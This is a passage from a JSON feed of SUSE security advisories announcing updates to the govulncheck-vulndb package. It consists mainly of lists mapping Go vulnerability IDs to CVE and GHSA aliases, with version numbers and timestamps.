GO-2026-6345 CVE-2026-27779 GHSA-v8f2-2ghq-9whv\n * GO-2026-6346 CVE-2026-27780 GHSA-vhq7-fwwh-7hjf\n * GO-2026-6347 CVE-2026-27660 GHSA-x92v-f5gc-r34v\n * GO-2026-6350 CVE-2026-59832 GHSA-275h-v5h9-vr82\n * GO-2026-6351 CVE-2026-72920 GHSA-2v6v-25fm-p4fg\n * GO-2026-6353 CVE-2026-59834 GHSA-h89q-4j2h-7h88\n * GO-2026-6357 CVE-2026-73667 GHSA-2mw5-23gm-pccq\n * GO-2026-6358 CVE-2026-73841 GHSA-52gf-6rpq-fgmx\n * GO-2026-6359 CVE-2026-67446 GHSA-75mr-qw9x-3r39\n * GO-2026-6360 CVE-2026-73840 GHSA-c5f6-2rm9-2w8g\n * GO-2026-6361 CVE-2026-72921 GHSA-gv5w-hfx8-8cwq\n * GO-2026-6362 CVE-2026-73843 GHSA-qh9r-j7rp-4x2m\n * GO-2026-6363 CVE-2026-67445 GHSA-w878-pj84-3j5v\n * GO-2026-6364 GHSA-99rq-75j6-5j9f\n * GO-2026-6365 GHSA-gw25-m53r-qh88\n * GO-2026-6367 CVE-2026-56743 GHSA-fm8w-2m5w-9j7r\n * GO-2026-6368 CVE-2026-75602 GHSA-h6cj-26g5-67fv\n * GO-2026-6369 CVE-2026-73232 GHSA-jcvh-xf52-2cwm\n * GO-2026-6370 CVE-2026-73292 GHSA-8cj9-r88m-8945\n * GO-2026-6371 CVE-2026-73293 GHSA-cxvf-gvfq-36w2\n * GO-2026-6373 CVE-2026-69086 GHSA-7hm9-v7vf-7g4w\n * GO-2026-6374 CVE-2026-69083 GHSA-fph3-ghq9-vw66\n * GO-2026-6377 CVE-2026-69084 GHSA-vh22-h7hf-www7\n * GO-2026-6379 CVE-2026-68586 GHSA-36v8-mpjm-8j5r\n * GO-2026-6381 CVE-2026-68587 GHSA-69mh-gvh4-8gp7\n * GO-2026-6382 CVE-2026-68584 GHSA-7j72-f6wg-cxw6\n * GO-2026-6384 CVE-2026-68585 GHSA-pm3w-vxp9-ccwc\n * GO-2026-6386 CVE-2026-72809 GHSA-3mp7-4rh5-jrv9\n * GO-2026-6387 CVE-2026-72805 GHSA-67x2-mq63-v9vm\n * GO-2026-6388 CVE-2026-72806 GHSA-6mcf-g667-w3qv\n * GO-2026-6392 CVE-2026-72801 GHSA-8x84-r2ff-h8pq\n * GO-2026-6395 CVE-2026-72800 GHSA-5fhr-f75j-8wr9\n * GO-2026-6398 CVE-2026-72802 GHSA-jv8v-xq2h-657v\n * GO-2026-6400 CVE-2026-72810 GHSA-mw8r-mw84-88v2\n * GO-2026-6402 CVE-2026-72811 GHSA-q2vg-7qgx-x5fc\n * GO-2026-6404 CVE-2026-72803 GHSA-qvq9-hq6p-v378\n * GO-2026-6406 CVE-2026-72808 GHSA-v7ph-r5r6-4jcj\n * GO-2026-6407 CVE-2026-72804 GHSA-vpjw-wf5h-cgpq\n * GO-2026-6408 CVE-2026-72812 GHSA-wgwx-479j-23vq\n * GO-2026-6410 CVE-2026-72807 GHSA-x67c-8pwr-m8g3\n * GO-2026-6411 CVE-2026-11720 GHSA-vwxw-jrg6-9jxv\n * GO-2026-6412 CVE-2026-72799 GHSA-5w7r-f4cg-rqq7\n * GO-2026-6414 CVE-2026-72797 GHSA-f2rw-w22v-54vh\n * GO-2026-6415 CVE-2026-72798 GHSA-mfrj-v65r-979c\n * GO-2026-6420 CVE-2026-72794 GHSA-34fj-mwm6-fjfg\n * GO-2026-6423 CVE-2026-72796 GHSA-fgmr-7w36-9qfq\n * GO-2026-6424 CVE-2026-72793 GHSA-h4v5-crx2-3cv4\n * GO-2026-6425 CVE-2026-72795 GHSA-h6w7-xxcf-w2mq\n * GO-2026-6427 CVE-2026-72792 GHSA-mp7r-57w4-5qm3\n * GO-2026-6428 CVE-2026-73842 GHSA-rh53-xvx2-j327\n * GO-2026-6430 GHSA-57v5-wqx3-cgj4\n * GO-2026-6431 CVE-2026-72790 GHSA-74pj-6g7r-j55c\n * GO-2026-6433 CVE-2026-60004 GHSA-rcr6-4jqh-j84m\n * GO-2026-6434 CVE-2026-72789 GHSA-v684-q882-jgmq\n * GO-2026-6435 CVE-2026-73294 GHSA-xp7j-h7jc-4w8p\n * GO-2026-6437 CVE-2026-71494 GHSA-6x6c-w9w9-hv4h\n * GO-2026-6439 CVE-2026-71493 GHSA-mmg6-4qmv-6pc8\n * GO-2026-6440 CVE-2026-73087 GHSA-p2w3-6x73-2f6x\n","status":"published","published":"2026-09-21T12:24:57Z","modified":"2026-09-27T18:23:15.791415126Z","updated_at":"2026-11-02T15:54:03.991985Z"},{"id":"SUSE-SU-2026:23863-1","title":"Security update for govulncheck-vulndb","description":"This update for govulncheck-vulndb fixes the following issues:\n\nChanges for govulncheck-vulndb:\n\n- Update to version 0.0.20260916T180043 2026-09-16T18:00:43Z (jsc#PED-11136).\n\n Go CVE Numbering Authority IDs added or updated with aliases:\n * GO-2026-6348 CVE-2026-84304 GHSA-vp52-pcj8-j9qc\n * GO-2026-6356 CVE-2026-65959 GHSA-mhc4-g3wh-cw7m\n * GO-2026-6366 CVE-2026-61625 GHSA-8q3c-rjr9-xxrp\n * GO-2026-6372 CVE-2026-79921 GHSA-6c5v-hqjr-5xxp\n * GO-2026-6441 CVE-2026-84303 GHSA-qc2q-p7wx-3px3\n * GO-2026-6443 CVE-2026-84445 GHSA-2v4p-qf9q-27wj\n * GO-2026-6444 CVE-2026-53495 GHSA-7jxh-36q5-gcqv\n * GO-2026-6445 CVE-2025-58363 GHSA-c23q-fw86-9h5x\n * GO-2026-6446 CVE-2025-24978 GHSA-g8rh-fjm6-h2h9\n * GO-2026-6447 CVE-2025-24979 GHSA-pqqc-8v73-9gg2\n * GO-2026-6448 CVE-2026-59185 GHSA-cp3j-m783-3ph5\n * GO-2026-6449 GHSA-hxjg-93wc-h8p8\n * GO-2026-6450 CVE-2026-59172 GHSA-m835-3cm9-rggg\n * GO-2026-6451 CVE-2026-59157 GHSA-v25g-mvwr-f5fp\n * GO-2026-6452 CVE-2026-59162 GHSA-fx5j-qcqg-grpf\n * GO-2026-6453 CVE-2026-59161 GHSA-q5j5-6p94-4gwc\n * GO-2026-6454 CVE-2026-88012 GHSA-7ghq-v6jf-g56c\n * GO-2026-6455 CVE-2026-88011 GHSA-rf44-j88r-hh8c\n * GO-2026-6456 CVE-2026-88045 GHSA-2p48-j3qc-rx9f\n * GO-2026-6457 CVE-2026-88046 GHSA-38xv-hf3p-h7mq\n * GO-2026-6458 CVE-2026-88017 GHSA-c476-6w5q-jw77\n * GO-2026-6459 CVE-2026-88016 GHSA-f8g7-2xjc-7mfh\n * GO-2026-6460 CVE-2026-88044 GHSA-p569-5gjg-9cmj\n * GO-2026-6461 CVE-2026-88015 GHSA-p6m2-r3w9-mpxw\n * GO-2026-6462 CVE-2026-88018 GHSA-xwwr-4h3p-r22c\n * GO-2026-6463 CVE-2026-88013 GHSA-486v-q2wf-fp2r\n * GO-2026-6464 CVE-2026-88014 GHSA-66hp-wgxq-6f5q\n * GO-2026-6465 CVE-2026-88009 GHSA-f52w-8j3h-j724\n * GO-2026-6466 CVE-2026-88007 GHSA-qqjf-53cj-pwvv\n * GO-2026-6467 CVE-2026-88004 GHSA-v67p-phpq-fc8x\n * GO-2026-6468 CVE-2026-88008 GHSA-w4v4-9rw7-5326\n * GO-2026-6469 CVE-2026-56665 GHSA-v77h-2w3m-94hx\n * GO-2026-6470 CVE-2026-56666 GHSA-992q-9gwp-7r79\n * GO-2026-6473 CVE-2026-76081 GHSA-v859-c572-qh5p\n * GO-2026-6474 CVE-2026-56668 GHSA-vrh8-c9cm-wh8v\n- Update to version 0.0.20260910T144842 2026-09-10T14:48:42Z.\n * GO-2026-6302 GHSA-mf7q-r4rv-jv94\n * GO-2026-6343 CVE-2026-25782 GHSA-qm72-8prh-g92x\n * GO-2026-6344 CVE-2026-26292 GHSA-rc56-rj3f-xggf\n * GO-2026-6345 CVE-2026-27779 GHSA-v8f2-2ghq-9whv\n * GO-2026-6346 CVE-2026-27780 GHSA-vhq7-fwwh-7hjf\n * GO-2026-6347 CVE-2026-27660 GHSA-x92v-f5gc-r34v\n * GO-2026-6350 CVE-2026-59832 GHSA-275h-v5h9-vr82\n * GO-2026-6351 CVE-2026-72920 GHSA-2v6v-25fm-p4fg\n * GO-2026-6353 CVE-2026-59834 GHSA-h89q-4j2h-7h88\n * GO-2026-6357 CVE-2026-73667 GHSA-2mw5-23gm-pccq\n * GO-2026-6358 CVE-2026-73841 GHSA-52gf-6rpq-fgmx\n * GO-2026-6359 CVE-2026-67446 GHSA-75mr-qw9x-3r39\n * GO-2026-6360 CVE-2026-73840 GHSA-c5f6-2rm9-2w8g\n * GO-2026-6361 CVE-2026-72921 GHSA-gv5w-hfx8-8cwq\n * GO-2026-6362 CVE-2026-73843 GHSA-qh9r-j7rp-4x2m\n * GO-2026-6363 CVE-2026-67445 GHSA-w878-pj84-3j5v\n * GO-2026-6364 GHSA-99rq-75j6-5j9f\n * GO-2026-6365 GHSA-gw25-m53r-qh88\n * GO-2026-6367 CVE-2026-56743 GHSA-fm8w-2m5w-9j7r\n * GO-2026-6368 CVE-2026-75602 GHSA-h6cj-26g5-67fv\n * GO-2026-6369 CVE-2026-73232 GHSA-jcvh-xf52-2cwm\n * GO-2026-6370 CVE-2026-73292 GHSA-8cj9-r88m-8945\n * GO-2026-6371 CVE-2026-73293 GHSA-cxvf-gvfq-36w2\n * GO-2026-6373 CVE-2026-69086 GHSA-7hm9-v7vf-7g4w\n * GO-2026-6374 CVE-2026-69083 GHSA-fph3-ghq9-vw66\n * GO-2026-6377 CVE-2026-69084 GHSA-vh22-h7hf-www7\n * GO-2026-6379 CVE-2026-68586 GHSA-36v8-mpjm-8j5r\n * GO-2026-6381 CVE-2026-68587 GHSA-69mh-gvh4-8gp7\n * GO-2026-6382 CVE-2026-68584 GHSA-7j72-f6wg-cxw6\n * GO-2026-6384 CVE-2026-68585 GHSA-pm3w-vxp9-ccwc\n * GO-2026-6386 CVE-2026-72809 GHSA-3mp7-4rh5-jrv9\n * GO-2026-6387 CVE-2026-72805 GHSA-67x2-mq63-v9vm\n * GO-2026-6388 CVE-2026-72806 GHSA-6mcf-g667-w3qv\n * GO-2026-6392 CVE-2026-72801 GHSA-8x84-r2ff-h8pq\n * GO-2026-6395 CVE-2026-72800 GHSA-5fhr-f75j-8wr9\n * GO-2026-6398 CVE-2026-72802 GHSA-jv8v-xq2h-657v\n * GO-2026-6400 CVE-2026-72810 GHSA-mw8r-mw84-88v2\n * GO-2026-6402 CVE-2026-72811 GHSA-q2vg-7qgx-x5fc\n * GO-2026-6404 CVE-2026-72803 GHSA-qvq9-hq6p-v378\n * GO-2026-6406 CVE-2026-72808 GHSA-v7ph-r5r6-4jcj\n * GO-2026-6407 CVE-2026-72804 GHSA-vpjw-wf5h-cgpq\n * GO-2026-6408 CVE-2026-72812 GHSA-wgwx-479j-23vq\n * GO-2026-6410 CVE-2026-72807 GHSA-x67c-8pwr-m8g3\n * GO-2026-6411 CVE-2026-11720 GHSA-vwxw-jrg6-9jxv\n * GO-2026-6412 CVE-2026-72799 GHSA-5w7r-f4cg-rqq7\n * GO-2026-6414 CVE-2026-72797 GHSA-f2rw-w22v-54vh\n * GO-2026-6415 CVE-2026-72798 GHSA-mfrj-v65r-979c\n * GO-2026-6420 CVE-2026-72794 GHSA-34fj-mwm6-fjfg\n * GO-2026-6423 CVE-2026-72796 GHSA-fgmr-7w36-9qfq\n * GO-2026-6424 CVE-2026-72793 GHSA-h4v5-crx2-3cv4\n * GO-2026-6425 CVE-2026-72795 GHSA-h6w7-xxcf-w2mq\n * GO-2026-6427 CVE-2026-72792 GHSA-mp7r-57w4-5qm3\n * GO-2026-6428 CVE-2026-73842 GHSA-rh53-xvx2-j327\n * GO-2026-6430 GHSA-57v5-wqx3-cgj4\n * GO-2026-6431 CVE-2026-72790 GHSA-74pj-6g7r-j55c\n * GO-2026-6433 CVE-2026-60004 GHSA-rcr6-4jqh-j84m\n * GO-2026-6434 CVE-2026-72789 GHSA-v684-q882-jgmq\n * GO-2026-6435 CVE-2026-73294 GHSA-xp7j-h7jc-4w8p\n * GO-2026-6437 CVE-2026-71494 GHSA-6x6c-w9w9-hv4h\n * GO-2026-6439 CVE-2026-71493 GHSA-mmg6-4qmv-6pc8\n * GO-2026-6440 CVE-2026-73087 GHSA-p2w3-6x73-2f6x\n","status":"published","published":"2026-09-21T12:24:57Z","modified":"2026-09-27T18:23:16.587575494Z","updated_at":"2026-11-02T15:54:03.991985Z"}]}}